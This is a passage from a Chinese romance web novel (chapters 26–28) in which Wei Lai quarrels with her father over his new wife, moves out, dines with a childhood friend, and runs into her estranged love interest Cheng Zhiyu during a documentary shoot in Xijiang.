危涞汗颜,不过是小时候不懂事,邻居家哥哥长得和瓷娃娃一样。别的小孩上初中开始装大人远离弟弟妹妹的年纪,只有他还愿意陪危涞玩幼稚的过家家。危涞同一个游戏永远玩不厌,每回她当女劫匪,都要让齐元洲当被劫上山的压寨相公。
双方家里知根知底,便打趣,“小涞以后就嫁给哥哥吧?”
危涞年龄小,哪里懂得这些,满口应下,奶声奶气:“我长大要嫁给哥哥。”
现在想起来真是窘迫。
她那是不懂事,齐元洲还不懂得?
齐元洲按部就班地长大,危涞出国念书。他继承了家里的公司,她为这些七零八碎的专业术语发愁,那天正巧家里聚会,于是齐元洲答应每周抽出两个下午的时间给她这个大龄学童补课。
不得不说,在他的帮助下,危涞进步神速。
怀里电话突然响起,危涞遥遥手机。
朗岐山挥手。
她在吸烟区点燃一支烟,“有什么事?”
是Kurt。
他那边声音嘈杂,等了一会儿才安静下来,“还记得我说的纪录片?我这边有消息了,下月三号你有没有时间。”
和齐元洲约了一节课,不过可以推掉。
“有。”危涞把视线往旁边移,轻轻皱了下眉头,看见熟悉的人。
是郑毅推着小妮,他脸上带着笑意,沿着玻璃走道慢慢推着女儿说话,小妮比之前见时更加精神,小脸红扑扑的,还是带着帽子,手欢快地指来指去。
危涞灭了烟,又扇扇自己身上的味道,听见Kurt说:“那就说好了,下月三号我们从京市出发。”
她晃神,没太听清楚Kurt先前说的话,“Hurris去不去?”
有他在,危涞得考虑清楚。
“放心吧。”对面笑,“他最近忙得很,没时间骚扰。”
“行。”
郑毅正巧走到她面前,脸上欣喜,“危小姐。”
小妮见到外人还是羞涩,鼓起勇气对危涞挤出一个腼腆的笑,“姐姐好。”
“最近情况怎么样?”她摸摸小妮的帽子,“有没有好好吃饭。”
小妮苦巴巴皱着脸,“我每天的饭都好清淡,一点都不好吃。但是我还是努力全部吃下去啦!”
她眼睛亮亮,似乎在等一个夸赞。
“小妮真棒。”危涞捏捏她软乎乎的脸,“医生怎么说?”
“情况在好转。”郑毅声音沙哑,“真是不知道该怎么感谢您。”
危涞摸摸鼻子,其实真正应该感谢的是她小姨,她都没出力啦。
“姐姐!和我们一起吃饭吧!我妈妈做饭是这个世界上最最最好吃的!”
“小妮!”郑毅喊住她,转而不好意思向危涞道歉,“这孩子就是这样,见到你太激动了。她妈妈每天在附近的共享厨房做饭,手艺确实不错,您如果有时间——”
“好啊。”
危涞答应下来。
用餐的环境实在简陋,一张矮桌子,三张矮凳子。
知道危涞要一起吃饭,郑毅妻子多做了几个菜,餐盒在桌子上摆开,考虑小妮的情况,营养均衡,荤素搭配,惹得人食指大开。
危涞难得多吃了半碗米饭。
小妮也吃饱了,盯着漂亮姐姐,忍不住问,“姐姐,你和程哥哥是什么关系呀?”
“逛花街的那天我看见你们俩牵手啦。”
她的脸盖上一层浅浅的红,郑毅立马叫住她,“别瞎说。”
这一桌子上看着不在意,其实都等着看危涞的反应,谁不知道程知聿家里的情况,不然这么多年怎么会连个看上眼的姑娘都没有。
危涞懒懒往后一靠,“没什么关系。”连朋友都算不上。
小妮不理解地点头。
待郑毅推着小妮消食,他的妻子收捡起碗筷,想了想还是告诉危涞实情,“希望您能考虑清楚和知聿的关系。”
“什么意思,他专门干欺骗小姑娘的事情?”危涞冷笑,她就知道程知聿不是好人,装成一副正人君子模样,实际上做的坏事都传遍了。
“不是。”她摇摇头,“知聿人很
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好的,就是家里苦了点,他的妈妈从外地嫁到溪江,结婚的时候是大家公认的美人,就是知聿父亲......”
她顿了顿,还是接着说下去,“知聿的父亲脾气坏,后来又染上赌博,对着妻子拳打脚踢,家里能卖的都被卖了,后来他母亲实在受不了,就跑了。”
危涞挑眉,这些东西她还真不知道。
没从程知聿嘴中听说过本来只是以为他和父母的关系不好,但看他孝敬奶奶的样子又觉得不应该。
“这些都是他的事情和我有什么关系。”
危涞心里也许触动了一下,只是很快就消失了,她说过,他和她再没有任何关系,这些话说给她听无异于对牛弹琴。
郑毅妻子很快闭嘴,收起碗筷同危涞告别。
危涞走在阳光路下,并没有看起来那么平静,他的父亲赌博不回家,母亲在幼年时就离开贫瘠的家庭,他在姑姑的帮扶下长大。
如今却也活得人模狗样。
脚步在病房门前停下,孩童的欢笑声从里传出,“爷爷好笨,这个积木要拼在这里。”
危涞很快分辨出,里面的小孩是薛莹的儿子。
透过这片玻璃,她听见朗岐山宠溺地笑,“爷爷老啦,哪有小宝机灵。”
她站在阳光下,如坠冰窖。
没人在乎小孩子的童言童语,大家只会觉得可爱,薛莹也只是象征性阻止,最后无奈叹息,仍由这对没有亲缘的祖孙玩闹。
现在连朗禄也在了,微笑看着眼前的场景,俨然是幸福的一家。
他那天怎么和危涞说的?
她手脚发冷,清楚记起朗禄说的每一个字,“爸爸总有退休的时候,到时候家里的生意怎么办?薛莹是个外来的女人,她的小孩和我没有关系。我的东西不可能拿给他们,你长大一点,这些东西只能是你的。”
危涞信了,但现在又不信了。
她最生气的不是朗禄,是朗岐山。
他应该要和危涞站在一起的,为什么、就这几个月的时间,他忘了吗?他明明说过危涞是他唯一的孙女。
是了。
孙女是唯一的,孙子又不是。
里面欢笑声不停,可是危涞不想听了。她推开门,佯装自己什么都不知道,“好热闹呀。”
那个坐在床边拼积木的小豆丁看见危涞几乎是条件反射地掉眼泪,他瞪着大大的眼睛,长得确实可爱,嚎啕大哭。
危涞如愿却不高兴,纤长的手指拎起床头那只遗漏的包,薛莹正坐在床边,感受到她的动作扇起的风从自己的脸庞边甩过,明明没有打在她的脸上,却让人觉得脸疼。
她今天提的包,正是薛莹想要,却买不到的那只。
她脸色苍白,提孩子抹去泪水。
朗岐山这时倒闭嘴不再说话。
只有朗禄,危涞猜,薛莹一定事先和他通过气。
宽大的手指,曾经牵起过危涞稚嫩的手掌,今天又一次,狠狠地甩在脸上。
一点声音都没有,安静地可怕。
朗岐山困于腿病,没法动作。
危涞这时候再去看薛莹的表情,她疑惑,会不会和朗禄第一次打她时的表情一样?怨恨。
她投过眼去,手指尖无法抑制地颤抖,她不埋怨她了。
她觉得可怜,怜悯的眼神藏也不藏。
仿佛危涞是只丧家犬。
26. Chapter 26
危涞好生气,她居然也配觉得她可怜?
她算什么东西,留着那双相似的眼睛所以就可以在危涞面前摆继母的架子吗!
恶心得要命。
危涞一股脑把手提包里的东西倒出,东西叮呤哐啷掉了一地,圆筒的口红滚到朗禄脚边,没动。他凝视着女儿被打得通红的脸颊,欲言又止。
“你喜欢我的包是不是?”她居然笑出了声,拎着那只皮色光亮的包,眼眶泛起猩红,昂贵的包里什么都不剩了,危涞像丢垃圾一样摔在地上,态度轻狂,“送给你,要不要?”
“危涞!”朗禄喝道。
无法无天!他不明白女儿怎么成这幅模样,在记忆里,她分明还是个可爱的奶团子,一眨眼,气焰比天还高。
他被女儿冷冷的声音堵住,“你也知道我姓危?”
这话一说,登时又是安静。
脚下那只银装口红被朗禄一踢不知道滚到哪去,他心里升起一团怒火,“你有本事别伸手问家里要一分钱。”
“是不是还要我把用过的钱统统还给你?”
“你这是什么态度!”
“人的态度,你听不懂人话吗?”
“......”
混着小孩一抽一抽的哭声,朗岐山丢了拐杖,“都闭嘴!”
危涞听不进任何人的任何话,她重新看向耸肩哭泣的小孩,那小孩撞见她的眼神,哭得更加大声,几乎把头埋在妈妈怀里,薛莹轻声哄他,手上的动作又轻又柔。
抬头看危涞,全然无力又无助的模样。
“我在想,他是不是你的私生子。”危涞冷不丁冒出这样一句话,凉凉地望向朗岐山。
不然他这样的人怎么会当接盘侠?
朗禄表情尴尬,一时间居然没有否认。
亏她还信了他的话。
小孩不明白“私生子”是什么意思,但依稀能辨别这是个不好的词,惊恐地瞪着大眼睛,眼泪汪汪。
连朗岐山也觉得危涞过分,再次喊停。
“要在我病房里面吵就滚出去!”他这一声用了力气,腿疼得直抽气。
安宁片刻。
危涞眸色灰而沉,眉下垂落一小片阴霾,她只捡起车钥匙,头也不回。
病房门被重重甩上,薛莹犹豫再三,“小涞年纪还小,我看得出她人不坏,也许是我有些地方确实做得不对。”
“你别替她讲话,年龄小不是借口,这种坏性格……”
“别说了!”
危涞脸上的红色没有遮盖,她不在乎路人来往的眼光,面无表情地咬尽手上这支烟,她现在的状态不适合开车,只怕想把车开到朗禄面前去。
她打电话叫搬家公司,要把母亲的东西从原先的家里全部搬走,又租了个新房子,喊人把东西都搬进去。
她不想睹物思人。
危涞本不想出面的,有吴嫂在家盯着就行,她再三劝阻,要危涞别太冲动,有什么话讲开了都好。
危涞不愿意,指挥搬家公司把东西包装好搬上车。
吴嫂也没了办法,只好给朗禄打电话,朗禄也许不在病房里,周围没听见小孩吵闹的声音,他听完吴嫂的话,一直沉默,直到吴嫂以为电话被挂断。
朗禄掌心躺着两颗亮闪闪的红宝石,攥在手心中央,他一直没说话,最终,声音干涩:“她要搬就让她搬吧。”
吴嫂愣了一下,也没再阻止。
吴嫂看着危涞姣好的侧脸,心中忽然涌上一阵心酸,从前那么小小的小姐,现在也长这么大了,她从危景媛在时就在家里做工,后来夫人意外离世,小姐出国,先生带新人回家,这些年实在变了太多太多。
危涞走前,吴嫂喊住她,“小姐,多回来看看。”
危涞朝着吴嫂说:“不如是你多来看看我。”她还要回来做什么?唯一还有牵挂的是吴嫂,危涞总算漏出笑,“要是朗禄对你不好,就来我这呀,我给你开的工资会比他更高的。”
吴嫂只是苦笑。
这么多年对危涞早就不是雇主和雇员的关系了,她是她看着长大的。
吴嫂站在门边,直到看不见她的车。
在家懒了几天,危涞被边子瑜喊出门上私教课,边子瑜一边喊疼,一边架子端正,要教练再使点力。危涞坐在一旁咬吸管,看见她的反应不由翻翻白眼,她真正上课的时间也就是生日前,平常哪看得见她这么勤快。
“好疼!”边子瑜呲牙咧嘴。
教练很无奈,“我根本没使劲呀。”
她听到一声嘲笑,额头上冒出细汗,没好气瞪危涞一眼,“能别在我面前喝吗?”
“那我出去喝。”危涞耸肩,其实杯里的奶茶根本没动多少,明明备注了不另外加糖却还是甜得过分,她这么说也就这么做了,一身轻巧的瑜伽服,影子修长投射在暖木地板上。
奶茶被随手丢进垃圾桶,阳光斜斜落在她的眉眼间,琥珀色珠宝一样闪耀的瞳仁,清晰得能看见脸上细小的绒毛。
边子瑜还在里边喊疼,凄惨的叫声穿过玻璃都能听见。
又励志又好笑。
危涞转头看见手机屏幕闪烁,这才想起今天和齐元洲约了课忘记取消,她回去电话,“我现在和朋友在外面呢,你已经到了我家吗?”
对方宽容大方,“刚从公司往外走,你什么时候结束,我接你们吃饭。”
危涞张张嘴巴,最终还是没拒绝。
倒是边子瑜撑着发抖的腿走出教室,“我不去...累死了,我要回家。”
所以一起吃饭的只有他们两人。
齐元洲把车稳稳停在商业楼下,他的车和人一样,低调奢华,他穿着成套的手工西装,领带一丝不苟地用领带夹别住,贴心帮危涞打开副座车门。
“又帅了,哥哥。”危涞熟稔地和他打招呼。
齐元洲身上是与生俱来的公子气,他学着危涞的语气,打着方向盘,袖口不经意露出一截表带,“又美了,妹妹。”
危涞恍惚一下,记忆中有人也这样喊过她,回过神来,眼前这张脸又变成齐元洲的。
“对了,以后不用再上课啦。”她若无其事,望着面前川流的车辆。
齐元洲分神盯她几秒,了然地笑:“又和家里吵架了?”
其实不用问也知道,家挨着家的关系,那天危涞找搬家公司多大的动静,早都在周边传遍了。人人都说朗叔新带回的夫人性格好体贴人,凡事要求亲力亲为。
朗爷爷住院她忙前忙后,据说饿瘦几斤。
齐元洲不屑地笑,她越是这样反倒越让人瞧不起。
伏低做小,没有哪个太太愿意做这样的事情,她们有得是清高有得是脾气,可是薛莹没有资本,她靠着那双和危姨相似的眼睛,走得步步惊心。
据说那天的聚会上,她拎了个豪包,以为这样就能挤进太太们的交际圈里,不料却是落了满
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身冷眼,她们不喜欢她,是因为她的出身,她虚伪精明的笑容,最重要的是她上位的手段,这些东西又怎么是拎了个破包就可以解决的。
“你也觉得是我错?”危涞喋喋不休。
齐元洲漫不经心,“你错在哪?还是说你觉得自己错了。”
危涞摇头。
她听见他带着上位者的高傲,“你觉得自己没错就是没错。”
“不管任何人说什么,说你错的人反倒自己身上的毛病最多。”
她鲜少听到这样直白的话语,语气也变得激动,“那你是站在我这边?”
齐元洲好笑,把车钥匙交给侍者停车,他伸出手敲她的脑袋,“我有不站你这边过吗?”
危涞一下又变得神采奕奕。
真诚地感叹:“我哥果然世界第一好。”
他看她一眼,又敲一下。
齐元洲替危涞拉开椅子,天边泛起紫色的光芒,餐厅里歌声轻缓悠扬,靠窗的位置视野很好,慢慢地转,能俯瞰整个城市夜景。
危涞刚一落座,被人送上一束小雏菊,她面露惊喜,“今天是什么日子?难道是你生日?”
可是他生日为什么要给她送花?
齐元洲翻开菜单,“庆祝你演出顺利,玛蒂尔德小姐。”
“你来看我演出了?”危涞不可思议。
齐元洲不否认,“时间有限,不然一定让你带我转转。”
他合上菜单,交给侍者,“就这些。”
“怎么样?”危涞迫不及待听到他的评价。
“我只是个外行人。”齐元洲事先声明,努力回想,却也记住了不少细节,“表演很有感染力。”
“最重要的是,那天很美。”
危涞几乎要放声尖叫,认同感油然而生,朗禄从没到剧院看过她的演出,他不感兴趣,更没有时间。
“哥哥,我爱死你了!”
齐元洲无奈打住,“这个字可不能乱说。”
从男人的角度,恰好能看到一束淡黄色的花被人捧在手里,抱着花的人颈间挂着一串短项链,浅色柔软的毛衣在灯光下泛出光芒。
坐她对座的男人一身质感极好的西服,黑发梳至脑后,很耐心地听人讲话。
向仲明坐在斜角的位置,他本不想分出精力偷听,奈何听见女人幸福的喊声。
他的手机恰好拍下这一幕。
“怎么了?”女伴不解。
他收起手机,聊天框里的照片已经发送成功,“看见那边景色不错。”
程知聿收到照片时刚结束一场应酬,优越的眉眼间藏着疲惫,他走出门外吹凉风。
吹醒几分清明,“小程,我们先走,下次再见!”
程知聿礼貌回应。
站了良久才拿出手机,现在软件进步得很快,已经可以发送live图。
向仲明去京市酒吧调研,事先问程知聿要不要带点什么,实际是打趣的语气。
他知道前段时间他往返京市频繁。
程知聿没什么表情,只是助他顺利。
点开这张夜景live图,女人清脆甜美的嗓音却突然传出。
他手指捏紧,一下认出这是谁的声音。
她又有了新的对象吗。
程知聿强制自己别去想,手指泛白,她的声音却不停在脑海里回放。
她爱谁?
程知聿苦笑,和他又有什么关系。
27. Chapter 27
唐凌才不信,能传出风声的事情怎么会是捕风捉影呢。
林秀禾收到一个从京市寄来的快递,快递员抹了把汗,再三提醒:“开箱检查再签收。”
何闯好奇,“快打开看看?”
林秀禾听说是贵重物品登时没了注意,发现收件人号码填的是程知聿,忙给他打去电话。
短暂的忙线后,男人清润的嗓音响起,“奶奶。”
“家里收到一个贵重包裹,是什么东西,能打开检查吗?”
怕他不明白是什么东西,林秀禾补充:“是从京市寄来的。”
短暂的沉默,男人的声音平缓,“我知道是什么东西,签收了不用管,随便找个房间放着...放我房间不用打开检查。”
快递员强调,“出了问题我们可不负责。”
“这、要不还是打开看看?”
“我来开!”何闯拿着剪刀跃跃欲试。
电话那头的程知聿心间浮上烦躁,“我说了不用打开,是公司寄来的东西,签收了放我房间就好。”
何闯举着剪刀的手放下,摸摸鼻子,老板怎么这么凶。
林秀禾就不再多问,喊何闯把东西搬上楼去。
“怎么了,心情不好?”穿着老练的男人从宴会中央脱身,发根是自然衰老的痕迹,质感极好的毛呢西装立体昂贵,眼里全是对青年的赏识。
“一点小事。”老板没有替他分忧的义务,程知聿也不打算告诉他这些破烂事情。
“过来,带你见见人。”方显宗拍拍他的肩膀,举起酒杯走在前。
程知聿望向交错的宴会厅,默了默,迈开步子。
方显宗的身边有程知聿的熟人。
李启越见了程知聿,远远举起酒杯,“小程来了。”
他对他又是欣赏又是气恨,当初谈合作时故意给这小子下马威,作为宜城的龙头企业,多少公司争破头想要合作都没有机会,他倒好,悠闲地像跨区域喝茶。
爽约的那天,李启越面见了另两家公司,但见面的第一眼就被他在名单上划除。又是斟酒,点头哈腰,坐下还没十分钟就拿出企划案来要谈判,明里暗里相互拉踩。
一张薄薄的底牌全都交出。
完全没有自信,李启越怎么放心把数千万的案子交给他们办?
他本以为就在这几家公司里将就,没想到第二天遇见程知聿,他绝不是外显的性格,交谈期间多是倾听,问他什么也能回答,他有主见,但不否认别人的看法,李启越上天入海,把他这些年的奋斗故事统统将给程知聿听,本想让他在自己面前露怯,却不想嘴上恭敬,心里却傲慢。
分寸感掌握得恰到好处。
“李总。”程知聿谦笑。
李启越同方显宗碰杯,赞叹道:“小程以后不得了。”
方显宗看向灯光下身姿挺拔的青年人,笑:“别夸他,心气高了在我这待不住。”
“你一年给他开多少钱?”他实在好奇,据说每天都有猎头公司等着程知聿失业,无奈每次得到的都是“暂时没这个想法”的答复。
就连那天酒后李启越亲自下场,也只得到拒绝的回答。
方显宗笑着打哈哈,又喊程知聿,“这是瑞达集团的王总,宏远集团的彭总......”
站在方显宗身旁的年轻人不卑不亢,他仿佛天生就是吃这碗饭的料。
李启越“啧啧”两声,看来方显宗有意让程知聿接班啊。
程知聿喝了酒也不上脸,西装革履,面对这样繁杂无趣的场景其实感到疲惫,方显宗带着他一张张脸看过去,酒杯碰了数个来回,实际上却连这个总是不是这个总都不明白。
他已经觉得麻木,方显宗对他不差,这么多年程知聿一直在他手下做事,上回拿下李启越这个案子还给他好大一笔奖金,可是他给他的期望越大,程知聿就越感觉不堪重负。
他有野心,也想过以后可能能顺利地接受方显宗的位置。
可在很多个独自出差的夜里,他又想,这些东西他真的需要吗?
如果是曾经贫穷得要问姑姑伸手要钱交学费的年纪,程知聿会毫不犹豫,他需要,他要有很多钱才能填补起家里的烂摊子。
可是他今年28,明明就是很年轻的岁数。
却潦草地想,辞职算了。
他赚的钱能保证自己后半辈子衣食无忧,不用整天带着假面具对人,可以轻松地活。
“小程上回说的好事将近是什么时候?”李启越不适时提起。
程知聿完美的面具僵了一下,挤出一个假得不能再假的笑。
方显宗从交谈中抬头,“什么好事将近。”
几人的目光纷纷投向这位面冠如玉的青年,他挤出一个笑,“最近很忙,暂时还没考虑这方面事情。”
李启越了然点头,“得提上日程了。”
方显宗盯了程知聿几秒,转过头继续说话。
危涞难得这样高兴,大手一挥买了单,齐元洲挽着她的外套,笑得无奈,“赚钱了?”
“吃饭的钱还是有的啦。”危涞皱鼻子,不好说她实在没剩下多少钱,但好在马上进Kurt的场子打工,她瞬间燃起希望,在账单上签字。
危涞跟在齐元洲身边,蹦蹦跳跳,“子瑜生日你会不会去?”
“有公开邀请吗?”
危涞摇头。
边子瑜原先想和从前一样过生日,但有回在会馆消费太多被她妈发现,跟着牌友添油加醋,边子瑜实在没脸公开出现在大家面前。
所以今年只打算邀请相熟的朋友聚一聚。
齐元洲笑,“不去了,都是小女孩,我去了你们反倒放不开。”
“行吧。”危涞裹紧外套,斜眼发现一道探索的目光,来自她从来没见过的陌生男人,倚在一旁,嘴边勾着一抹有趣的笑。
危涞不管是谁一律按照觊觎她美色计算,灯光下脖子间的项链流光溢彩,她却翻了个白眼。
半点没有淑女风度。
向仲明被噎住,女伴恰好从洗手间出来,热切地挽住他的手,向仲明对着女伴亲昵一吻,又收到危涞白眼一枚。
“在看什么?”齐元洲打开车门,问。
“没什么。”说出来怕脏了小齐哥哥的耳朵。
边子瑜生日这天,危涞给她定了个蛋糕,连翅膀边边都透亮得发光。
只可惜边子瑜的注意里全不在蛋糕身上,她眼睫毛扑闪,盯着跪式服务的185送蛋糕小哥,“我的蛋糕是你吗?”
危涞无语至极,没看到人家已经在极
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力克制表情了吗。
“我劝你今天老实一点。”她面无表情对边子瑜说。
“你开什么玩笑?”边子瑜恋恋不舍望着黑衣服小哥离开,不满回头,“生日就是用来放纵的好吗。”
危涞扯扯唇,她平时还不够放肆吗。
差不多散场。
边子瑜又是喝到醉醺醺,抱着危涞的腰流眼泪,“他好狠的心…连一个生日祝福都不肯给我……”
又开始了。
危涞再一次把边子瑜的手扒拉下去,看着她哭花的眼妆,留下几条歪歪扭扭的黑线,“我觉得你还是得补一下妆的。”
边子瑜不管不顾,留着眼泪开始讲自己的初恋故事。
“起来…补妆!”她强行拉起边子瑜,没想到她一身牛劲,就是瘫在沙发上默默抹眼泪,反倒危涞把腰磕在锋利的桌角上。
她疼得厉害,手捂着腰喊:“我不管你了!”
边子瑜嘤嘤嘤。
危涞头疼,拿出手机想和对方解除约定,却被告知已经到达楼下。
她破罐子破摔,把边子瑜哭花的眼线擦干净,其实边子瑜根本没醉,她只是在耍脾气,酒精作用下那些模糊的记忆全部变得清晰,她捂着眼睛哭个不停,心里委屈得要命。
其实她最讨厌过生日了。
她就是在生日这天被分手的。
一个人哭了很久,身边响起一声熟悉的叹息声,她被递过几张纸巾,边子瑜接过,发现是一双男人的手,她大声叫道:“都走开!”
“我今天没有心情…呜……呜呜……”
“边子瑜。”熟悉的声音再次响起,边子瑜抬起眼睛,视线被掉落的一半假睫毛挡住,她的心一抽。
危涞直到第二天下午才接到边子瑜的电话,她破口大骂:“危涞你有没有良心!”
“怎么了?”她装作不知情,早已经跑到外婆家避难。
“你再给我装?!”边子瑜裹着被子,咬牙。
“所以你们做了没有?”危涞捏着花瓣,手尖用力,掐掉一朵。
“……”边子瑜不再说话。
她顿感不妙,“怎么了?是不是我做错了?”
她好像不应该擅自把边子瑜和初恋同学凑在一块。
边子瑜短暂沉默,“谢谢你。”
她脸微微红,脖子上的痕迹清晰可见。
危涞嗤笑,吓死她了。
……
拖着行李箱到了机场才发现打工的目的地在溪江,危涞紧紧捏着机票质问Kurt:“你怎么不提前和我说!”
“我说了的。”Kurt好无奈,他在电话里说得很清楚呀,分明是她没有仔细听。
“我不去了。”她拖着行李箱转身走,什么破地方谁爱去谁去!
“导演是Philip诶。”Kurt再次挽留,他不信危涞不心动,这可是她最喜欢的导演。
“你能不能和他商量换个地方?”
“不能,这是他亲自定的,他超级重视这次拍摄,Wren给我个面子啦。”
“再说这地方有什么不好吗?”
“没有。”危涞恨恨咬牙,安慰自己,溪江这么大,想遇见都难。
见导演团队走近,最终闭上嘴巴,一起上了飞机。
28. Chapter 28
“你在哪儿?”纪成安手搭在方向盘上,吊儿郎当地打电话。
对面一阵嘈杂,温润的男声同穿夹克的中年人礼貌告别,他对着手机,眉眼疏朗:“刚从你领导办公室出来。”
“他真能扯的,不就是拍个破纪录片搞这么大阵仗,把人都喊上也不嫌事多。”
纪成安翘着二郎腿,摆足了领导架子。
“要我说,就该让老头自己开车去接。”
程知聿轻咳两声,纪成安没发觉他的提醒,继续叭叭,“我们这些出力的底层群众连个好听的名头都没有,就得一脱鞋拍老蒋面前,‘老子不干了!’”
“是我疏忽,没想到小纪意见这么大,既然这样,那你休息吧!”那身行政夹克气歪了胡子。
纪成安骂程知聿不给力,嘴上却一副谄媚模样,“怎么了领导?您找我什么事?我刚上厕所去了,哎呀这小孩就是不懂事谁叫你拿哥哥手机玩!一边去!”
程知聿默默避开蒋纪兰发笑的眼神,纪成安的弟弟今年初刚办满月酒,才短短几个月就能说出一口流利的话。
实在佩服。
等到对面终于没有说话声,他小心询问:“走了没?”
“走了。”程知聿好笑,他纪成安读书的时候天不怕地不怕,工作了反倒缩起脖子来。
他难得正经。
“今天小张请假我们少辆车,你能不能来帮忙?也不知道带那么多破烂玩意儿做什么。”纪成安小声嘟囔。
“什么时候。”
……
再落地溪江,危涞起了一身鸡皮疙瘩,见她抱着手臂,导演贴心递过冲锋衣。
危涞笑着摆手,眼神亮亮看着白胡子老头,被Kurt撞撞胳膊,她上道地感谢:“大恩大德,没齿难忘。”
柯特皱眉,“听不懂。”
危涞不管他,三角墨镜别在发上,露出光洁的额,脂粉未沾,依旧可爱。
她小学时就看过菲利普导演的剧,说起来不是因为她喜欢,而是危景媛喜欢,一幕山崖诀别的悲惨爱情,是电视荧幕的常客。
她看着坚强的危景媛为了电影里男女主角最终有缘无份而落泪,茫然去握母亲的手,反被她紧紧抓在手中。
朗禄不喜欢这类伤春悲秋的电影,他有自己的大男子主义,所以常常是危涞陪着母亲从片头曲一闪而过的大本钟开始,直到片尾再次出现的泰晤士河。
想到这里,危涞朝着柯特的后脑勺,轻轻说了句:“谢谢你。”
等他反过头来,又是一副若无其事的笑脸。
柯特耸耸肩继续向前走。
危涞的笑脸在看见那辆车时一瞬间凝住,熟悉的车标外观,她曾经坐在后座看见男人优越的眉骨。
她的心,一下一下,跳得厉害,透过前窗,看见干净的手松松搭在方向盘上,袖口挽起一截,漏出有力的腕段。
他怎么会来?
危涞想起那天晚上的不欢而散,唇向下压了压,他怎么还有脸来?
负责人热情地招待,帮着把摄影器材搬上车,“大家都上车!”
导演耸耸肩膀指向队伍里唯一一个黑发黄皮肤的中国人,负责人便很快反应过来,“女孩子先上车吧。”
危涞一时没动。
他的车子离自己最近,可她无论如何都不想搭他的车子,危涞抿唇,迈开步子朝后一辆,余光瞥见车里那人开门的动作。
她动作更快,“危小姐。”
车门被人打开,那人踩出一双长腿。
“……”
危涞沉默,墨镜小弧度向下滑了一下,简直无语。
她记得他,和程知聿一起上山救援的队长。
纪成安也记得她,张开手臂双手在空中挥舞,“好久不见!”
“哦,你好。”
“上我的车吧?”
“不用了。”危涞拖着行李箱继续往后走。
被纪成安一把抓住拉杆,眼神暧昧,“别害羞嘛,我知道的,你和……”
他还未来得及说出那人的名字就被坏脾气的女士甩了冷眼,“纪队长,之前的事谢谢你,但是我记得我们并不熟吧。”
纪成安一怔,缓缓放开了手。
“我去!你不知道她有多拽!”纪成安学着危涞的语气,“我们不熟~”
向仲明拿着酒起子,往纪成安头上一敲,“我有没有说过进店换鞋?”
纪成安捂着头,大喊:“我又没出任务换什么鞋!”
阿姨手提拖把站在他带进酒吧的泥印子上,表情漠然,纪成安心虚,抢过拖把,“谁这么没道德?”
“你怎么不当着他的面说?”向仲明提起他吐槽的事。
纪成安大声:“我疯了吧!”
他只猜测两人冷战,看女方反应,这完全断得一干二净,他脑子有问题到程知聿面前说?他月前一个礼拜飞一次京市,后来不再去了,改一个月出七天半的差,他这模样,谁敢提?
向仲明笑他,“你也太夸张了,他是正常工作需要。”
“管呢,我不支持他俩在一起。”
向仲明没说话,摇着酒杯,想起女人对着他人撒娇的模样,真不知道这是孽缘还是孽缘。
住宿是在市区的星级酒店。
拍摄从下周开始,这周的任务是跟着本地人踩点。
镇上的鲜奶厂六点上班,紧赶着上班上学前把第一批牛奶送到用户手中,接着烧开第一锅牛奶,直到看见产品区的奶糖包装危涞才知道,这是本地的发展企业。
柯特发誓他从没见过危涞这么认真,虽然说从前排练也认真但免不了听她总是哼唧,一会“好累呀”、“好困呀”,一会精神放空,说话说几遍都得不到回应。
今天倒像换了个人,宽大的华夫格长袖,灰色的长筒袜堆叠,脸颊微红,肤色透亮,显得很有精神。
“你很困?”一直盯着她做什么,危涞皱皱眉头。
柯特摇头,跟着菲利普导演倒了半个月时差,已经适应了。
溪江很重视这次拍摄,连拍摄组每日出行都安排好车辆,菲利普导演听见皱眉又松开,露出感谢的表情,“这太麻烦了。”
对方连连摆手,“远来是客,这是应该做的。”
酒店门口停了几辆车,危涞一眼就看见那辆熟悉的车子,纪成安也许是接了领导的任务,这几天负责接送,见到他的次数越多,危涞渐渐麻木,从刚开始的避而远之到看出他隐隐对自己有意见,最后为了给他找不痛快,已经能面不改色地坐上这台车。
仗着车上除了他俩都是外国人,两人仅有的交谈也是架枪带棒。
“跟着导航都能开错方向,你是本地人吗?”
“本地人开车轮得到你个外地人说话吗?”
只有柯特一脸懵,悄声问危涞,“你们在说什么?”
所以今天,危涞像之前一样去拉车门把手,纹丝不动。
她只以为是纪成安故意捉弄。
再用力,依旧没有反应。
她没了耐性。
危涞皱眉敲敲车窗,沉闷地“咚咚”两声,“开门。”
声音猛然被遏在喉间。
透过玻璃窗,男人的眉
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眼疏朗坚毅,却一点视线没分在她身上,反倒笑着同另一侧的人说道:“我的车还是放器材吧。”
声音一如既往的好听。
一副极其有礼貌且温和的模样。
危涞一下子皱眉,手收紧了。
脸色又青又白,她成了视线中央的人物。
大家都不明白发生了什么。
危涞则是咬唇盯着男人坚毅的侧脸。
他什么意思?不是说好了好聚好散非得当着人这么多人的面让她下不来台?
她被气笑。
程知聿居然愿意让这堆破烂东西上车都不愿意让她上车。
他和她甩什么脸色?
车里的男人像是不懂她的难堪,依旧好脾气,眉眼间如沐春风。
危涞瞬间来了脾气,紧了紧手指,到底是没在菲利普导演面前发作。
她青着脸,长腿向后迈。
“嘭”地关上后车车门。
柯特看看车里的男人,不明所以,帮着把器材搬上车,挤上危涞在的那辆,“怎么回事?”
“没事。”危涞骄傲的小脸扬起。
她生气地想,程知聿真是极其小气,极其没有风度的一个人,可惜一副好皮囊,内里却是烂透了。
可他又极其会迷惑人心,不管是小妮的父母还是谁,提到程知聿嘴上总要夸出花来。
为了防止柯特被迷惑,危来提前同他打预防针,“刚刚那个男人不是什么好东西,你千万别被他的表面欺骗。”
柯特了然地笑,“你们之间一定发生过什么。”
危涞咬字发声,“什么都没有——”
今天要去的地方是当地有名的集市,每个月只在固定时间开放,他们运气好,今天刚好撞上。
集市的路口不能开车进去,一行人只得在道路旁下车,危涞帮忙提着大包小包,工作的时候并没有平时的娇气劲,她有意在菲利普导演面前表现,沉重的书包外加手提器材。
重得手发抖。
导演看她拎得困难,喊柯特接危涞的手。
她固执得可怕,抓住包带子就是不送手,柯特无奈,“你坚持不了就给我。”
危涞摆摆手,喊他赶快从眼前消失。
柯特耸肩,“别逞强。”
“知道啦。”
她提着东西走过时,程知聿在车上接电话,斜眼看见她费力拎着东西走过。
手指轻轻搭在圆润的手机边缘。
很快,他看见她的身边走上一个外国青年,两人笑着说话。
“程老师?”电话那边在喊。
他的指尖动了一下,“在,你把数据发给我。”
危涞几度后悔想把东西丢给柯特,却撞见男人冷冷淡淡的眼神。
“嘁。”她立刻来了精神,哪能被他瞧不起?
手指发酸发痛,步子加快。
